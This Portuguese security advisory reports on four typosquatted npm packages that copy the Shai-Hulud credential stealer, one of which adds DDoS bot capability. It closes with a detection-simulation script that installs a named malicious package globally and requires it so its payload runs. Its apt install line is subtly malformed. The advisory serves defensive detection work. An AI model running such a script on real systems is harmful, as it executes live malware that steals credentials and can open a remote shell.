Clones de Shai-Hulud: Os Imitadores do TeamPCP Estão Aqui

Resumo

Pesquisadores descobriram quatro pacotes npm maliciosos que combinam funcionalidade de ladrão de informações com capacidades de negação de serviço distribuída. Esses pacotes se passam por bibliotecas populares por meio de erros de digitação e incluem o código aberto Shai-Hulud modificado para usar servidores de comando e controle controlados por atacantes. A instalação de qualquer um dos pacotes pode resultar no roubo de credenciais, na exfiltração de segredos de nuvem e, em um caso, na inscrição do host infectado em um botnet de DDoS. As descobertas destacam o crescente risco na cadeia de suprimentos dentro do ecossistema npm.

Investigação

Analistas compararam o chalk-tempalte pacote ao código fonte vazado do Shai-Hulud e descobriram que é uma cópia quase exata, não ofuscada, configurada com um endpoint de comando e controle personalizado. Os pacotes restantes transmitiram dados roubados para domínios maliciosos separados ou para um endereço IP pela porta 2222, enquanto uma variante também implementou um serviço de bot local baseado em Go usado para atividade DDoS. Todos os quatro pacotes foram publicados pela mesma conta npm, fortalecendo o vínculo entre eles.

Mitigação

As organizações devem remover imediatamente os pacotes maliciosos de quaisquer projetos e excluir artefatos de configuração associados de ambientes de desenvolvedores e sistemas de compilação. Todas as credenciais que possam ter sido expostas devem ser rotacionadas, e o acesso à rede aos domínios maliciosos identificados e ao endereço IP deve ser bloqueado. As equipes também devem monitorar dependências npm para pacotes com erros de digitação que imitam as mesmas bibliotecas legítimas.

Resposta

Defensores devem criar detecções para conexões de saída para os domínios de comando e controle identificados, alertar sobre a instalação dos quatro nomes de pacotes maliciosos, e escanear sistemas para a chave pública embutida ligada ao malware. Qualquer sistema que tenha instalado um dos pacotes deve passar por uma revisão forense para determinar se serviços persistentes, tarefas agendadas ou cargas adicionais foram implementados.

Execução de Simulação

Pré-requisito: O Pré-verificação de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e aimam gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa do Ataque e Comandos:

  1. Reconhecimento Inicial (opcional): O atacante enumera o ambiente Node.js da vítima para confirmar se npm está presente.
  2. Aquisição de Pacote Malicioso: O atacante baixa um pacote npm malicioso que imita uma utilidade legítima (por exemplo, @deadcode09284814/axios-util).
  3. Instalação e Execução: Usando uma única linha, o atacante instala o pacote globalmente e executa imediatamente uma carga de JavaScript que abre um shell reverso.
  4. Persistência (além do escopo): O atacante poderia adicionar o pacote malicioso ao package.json para uso futuro.

• Script de Teste de Regressão: O script reproduz exatamente os passos 2‑3, gerando as cadeias de linha de comando que a regra Sigma corresponde.

  # malicious_npm_execution.sh
  # -------------------------------------------------
  # 1️⃣ Garanta que o runtime Node.js esteja presente
  if ! command -v node >/dev/null 2>&1; then
      echo "[*] Instalando Node.js e npm"
      sudo apt‑update && sudo apt‑install -y nodejs npm
  fi
  
  # 2️⃣ Instalar o pacote npm malicioso (simulado)
  #    (Substitua por um pacote malicioso real em um teste real)
  MALICIOUS_PKG="@deadcode09284814/axios-util"
  
  echo "[*] Instalando pacote malicioso: $MALICIOUS_PKG"
  npm install -g "$MALICIOUS_PKG"
  
  # 3️⃣ Execute uma carga que o pacote acompanha
  #    Aqui, simplesmente requeremos o pacote; o script postinstall
  #    do pacote executará o código do atacante.
  echo "[*] Acionando carga maliciosa"
  node -e "require('$MALICIOUS_PKG');"
  
  # 4️⃣ Opcional: Mantenha o shell ativo para observação
  sleep 30
  echo "[*] Teste concluído"
  # -------------------------------------------------

• Comandos de Limpeza: Remover o pacote malicioso e quaisquer arquivos gerados.

  # cleanup_malicious_npm.sh
  # -------------------------------------------------
  echo "[*] Removendo pacote npm malicioso"
  npm uninstall -g "@deadcode09284814/axios-util" || true
  
  # Remova quaisquer node_modules residuais do diretório inicial
  rm -rf "$HOME/.npm/_cacache"
  echo "[*] Limpeza concluída"
  # -------------------------------------------------